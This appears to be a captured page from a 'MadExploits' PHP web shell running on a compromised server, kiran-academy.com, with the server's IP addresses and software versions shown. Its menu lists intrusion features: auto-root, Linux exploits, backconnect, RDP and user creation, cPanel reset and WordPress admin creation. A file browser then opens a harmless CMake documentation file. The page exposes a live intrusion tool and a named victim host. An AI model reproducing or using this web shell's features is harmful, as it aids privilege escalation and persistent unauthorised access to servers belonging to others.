Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
cmake3 /
Help /
include /
[ HOME SHELL ]
Name
Size
Permission
Action
COMPILE_DEFINITIONS_DISCLAIMER...
906
B
-rw-r--r--
INTERFACE_INCLUDE_DIRECTORIES_...
957
B
-rw-r--r--
INTERFACE_LINK_LIBRARIES_WARNI...
488
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : INTERFACE_INCLUDE_DIRECTORIES_WARNING.txt
Note that it is not advisable to populate the ``INSTALL_INTERFACE`` of the |INTERFACE_PROPERTY_LINK| of a target with absolute paths to the include directories of dependencies. That would hard-code into installed packages the include directory paths for dependencies **as found on the machine the package was made on**. The ``INSTALL_INTERFACE`` of the |INTERFACE_PROPERTY_LINK| is only suitable for specifying the required include directories for headers provided with the target itself, not those provided by the transitive dependencies listed in its :prop_tgt:`INTERFACE_LINK_LIBRARIES` target property. Those dependencies should themselves be targets that specify their own header locations in |INTERFACE_PROPERTY_LINK|. See the :ref:`Creating Relocatable Packages` section of the :manual:`cmake-packages(7)` manual for discussion of additional care that must be taken when specifying usage requirements while creating packages for redistribution.
Close